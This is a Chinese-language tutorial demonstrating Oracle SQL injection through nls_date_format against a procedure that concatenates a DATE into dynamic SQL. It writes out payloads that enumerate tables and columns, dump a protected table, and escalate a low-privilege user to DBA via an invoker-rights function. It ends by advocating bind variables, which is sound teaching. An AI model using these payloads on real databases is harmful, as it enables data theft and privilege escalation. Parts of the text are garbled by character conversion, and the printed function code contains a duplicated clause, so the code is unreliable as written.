- 1、通過sql注入擷取使用者無權限擷取的資訊
-
- 1.1 擷取無法通路的表名
- 1.2 擷取表中的列
- 1.3 擷取無法通路表的資訊
- 2、sql注入竊取dba權限
oracle sql中不使用綁定變量除了會影響性能,還會有安全隐患。接下來進行執行個體示範。
在scott 使用者下有一個非常重要的表bonus,儲存員工的獎金工資資訊。對于sh使用者沒有權限通路這個表,但是可以通路scott使用者的如下存儲過程。
test_inj 過程代碼如下
CREATE OR REPLACE PROCEDURE test_inj(p_date DATE) IS
v_sql VARCHAR2(300);
l_cur SYS_REFCURSOR;
l_username VARCHAR2(100);;
BEGIN
v_sql := 'SELECT t.USERNAME FROM all_users t WHERE t.CREATED =' ||
chr(39) || p_date || chr(39);
dbms_output.put_line('v_string: ' || v_sql);
OPEN l_cur FOR v_sql;
FOR i IN 1 .. 5 --這裡隻是為了友善測試隻顯示5行資料
LOOP
FETCH l_cur
INTO l_username;
EXIT WHEN l_cur%NOTFOUND;
dbms_output.put_line('username: ' || l_username);
END LOOP;
CLOSE l_cur;
END;
把test_inj執行權限賦予sh使用者
grant execute on test_inj to sh;
我們看到sh使用者是無法通路scott使用者bonus表的
conn sh/123456
Connected.
select * from scott.bonus ;
1、通過sql注入擷取使用者無權限擷取的資訊
看到過程代碼後,我們大多數的開發人員都認為這段代碼盡管沒有使用綁定變量,但不會受到sql注入攻擊。
因為代碼輸入必須是一個oracle date變量,date 表示世紀,年,月,日,小時,分,秒7個位元組的資料類型。
我們都認為date變量是根本無法改變sql語句的含義 。但是事實上,這段代碼确實可以被注入的。
1.1 擷取無法通路的表名
sh使用者隻需要執行如下這句
alter session set nls_date_format= '"'' union select tname from tab--"';
-- 恢複alter session set nls_date_format = 'yyyy-mm-dd hh24:mi:ss';
然後 傳入sysdate 執行存過
EXEC scott.test_inj(SYSDATE);
傳入sysdate居然有執行結果了
我們得到的sql語句是,
SELECT t.USERNAME FROM all_users t WHERE t.CREATED =''union select tname from tab --'
看到sql實際有三部分
第一部分是就是sql原本想要執行的
SELECT t.USERNAME FROM all_users t WHERE t.CREATED =''
很明顯結果是0
第二部分是
union select tname from tab
這個就是被注入的sql 這裡是能查到這個使用者下擁有的表
第三部分就是 --’ 這裡就是把結尾的引号注釋掉 進而是這個sql在文法上是正确的。
看到本執行個體的關鍵就是 修改了 nls_date_format。
很有意思的是,nls_date_format居然可以嵌入字元常量。即使沒有alter session 權限也可以在目前的資料庫連接配接會話中更改 nls_date_format。這裡惡意使用者的做法就是使用權限集蒙騙代碼查詢你原本不希望他查詢的表。tab是一個字典視圖,傳回目前使用者能看到的所有表。當這sh使用者 有意思的表bonus時,他接下來就會嘗試通路這個表sh使用者當然不能直接通路這個表他還會繼續通過修改nls_date_format 來實作sh使用者已經知道了bonus表,是以他還需要知道這個表有哪些列。(因為前面的查詢中隻查詢了一個字段,是以他不能在注入sql中通過select * from 查詢)
1.2 擷取表中的列
同樣通過修改nls_date_format實作擷取bonus表中的列
alter session set nls_date_format='"'' union select tname||''/''||cname from col--"' ;
再來執行存過
exec scott.test_inj(sysdate);
實際執行的語句如下
SELECT t.USERNAME
FROM all_users t
WHERE t.CREATED = ''
UNION
SELECT tname || '/' || cname
FROM col --'
看到這裡 我們得到了bonus表的 列,就可以直接檢視該表的資訊了,這裡可能很有人會問 既然我們都知道表名了為啥不直接通過下面的sql檢視表中的列呢
alter session set nls_date_format='"''union select cname from col where tname=''DEPT''"--' ;
想法雖好,但是由于oracle對nls_date_format有字元限制是以隻能過這個本辦法查詢
1.3 擷取無法通路表的資訊
我們現在已經知道列名了,就可以再次通過修改 nls_date_format 擷取表bonus的資料
alter session set nls_date_format='"''union select comm||''/''||ename from bonus "--' ;
執行存過
exec scott.test_inj(sysdate);
注入後的sql 為
SELECT t.USERNAME FROM all_users t WHERE t.CREATED =''union select comm||'/'||ename from bonus --'
查詢結果,
看到sh使用者就可以通路檢視每個員工的績效了(可能實際并不簡直是這些資料,可能是使用者密碼等),原本sh使用者是沒有權限的通路這個表的。
2、sql注入竊取dba權限
sh使用者擷取到了他本不能擷取的資料,但其實這還麼有完,如果sh使用者還有create procedure權限呢,這很有可能
如果sh使用者是我們的開發人員呢,然後如果scott使用者還要dba權限以及admin權限
即授權的時候 需要加上 with admin option:;授權語句如下
grant dba to scott with admin option ;
我們建立在sh使用者下建立一個授予sh使用者dba權限的函數
CREATE OR REPLACE FUNCTION grant_dba RETURN VARCHAR2
RETURN VARCHAR2
AUTHID CURRENT_USER
as
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE 'grant dba to sh';
RETURN NULL;
END grant_dba;
再把這個函數的執行權限授予 scott使用者 ;
grant execute on grant_dba to scott;
接下來 我們還是通過修改nls_date_format參數,通過執行test_inj存過,讓scott使用者調用這個函數。因為scott使用者本身就具有dba權限,就可完成dba權限的竊取
alter session set nls_date_format='"''union select sh.grant_dba from dual t "--' ;
再次調用存過後
exec scott.test_inj(sysdate);
實際執行的sql
SELECT t.USERNAME
FROM all_users t
WHERE t.CREATED = ''
UNION
SELECT sh.grant_dba
FROM dual t --'
看到函數已經執行成功,表示sh已經擁有dba權限了
可以通過 檢視 資料字典user_role_privs 來驗證
SELECT t.* FROM user_role_privs t
或者重新登入 通過執行如下語句驗證是否有dba權限
SELECT t.* FROM session_roles t;
正如sh使用者期望的一樣,他通過sql注入讓dba使用者scott 調用了賦予權限的函數後, 成功竊取了DBA權限
是以看到不使用綁定變量的危害是很大的除了性能問題還會有安全隐患。解決問題的最好辦法就是使用綁定變量。